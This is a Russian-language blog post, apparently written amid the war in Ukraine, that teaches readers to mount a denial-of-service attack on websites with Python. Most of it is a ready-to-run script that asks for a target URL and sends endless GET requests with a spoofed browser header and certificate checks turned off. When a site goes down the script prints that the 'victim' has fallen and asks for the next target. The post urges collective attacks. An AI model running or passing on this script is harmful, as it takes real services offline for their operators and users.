Привет всем! Небольшой пост сегодня, навеянный текущей ситуацией. Будем экспериментировать с DOS-атаками с помощью библиотеки requests в Python.
Длы начала — что такое DOS-атака? Это создание ситуации, когда мы самостоятельно (совсем не эффективно при текущих-то мощностях) или коллективно (о, да!) создаем некоторую нагрузку на атакуемый сервер. Множество запросов, которые заставляют сервер выделять на ответы свои ресурсы приводят к тому, что в итоге сервер оказывается перегружен запросами, и не может обрабатывать те запросы, которые действительно нужны. Так давайте разберемся, как создавать эти запросы? 🙂
Логика сеогдняшнего кода очень проста — отправляем запрос на сайт и пытаемся получить полный код интересующей нас страницы. Мелочь, но — когда мелочей миллион — сайт начинает тормозить, и в итоге — перестает стабильно работать. Для нашего же компьютера и соединения это — совершенно незаметная нагрузка.
Пример кода — ниже (и да, за тестирование и комментарии спасибо подписчику Льву, который сейчас в Киеве. Там очень сложно, но он не теряет оптимизма — за что ему отдельный респект!):
import requests #подключили библиотеку requests (о ней я <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">писал неоднократно</a>) def get_link(): #Создаем функцию, которая получает ссылку на атакуемый сайт link = input(str('Link: ')) get_content(link) def get_content(link): #Создаем функцию, которая собственно и будет создавать запросы на атакуемый сайт i = 1 while True: try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) #Поддельный заголовок нашего браузера r_answer = r.content #Создаем переменную, которая состоит из исходного кода страницы print('Отправлено пакетов:', i) #Выводим статистику i = i + 1 except: print('Кажется, сайт', link, 'лежит. Дополнительная проверка...') #Лег сайт? Проверим на всякий случай :) try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) r_answer = r.content print('Точно лежит :) Выбираем следующую жертву.') #Точно лег. Давайте выберем следующую жертву? :) get_link() except: print('Точно лежит :) Выбираем следующую жертву.') get_link() while True: get_content(get_link()) get_link()
Спасибо за внимание 🙂 Как всегда — в случае возникновения вопросов пишите на почту или в Telegram.
Завтра постараюсь выкатить версию простейшего атакера, основанного на Ping-запросах в виде оконного приложения (беда современных пользователей компьютеров в том, что бОльшая часть совершенно не умеет пользоваться командной строкой). Слава Украине!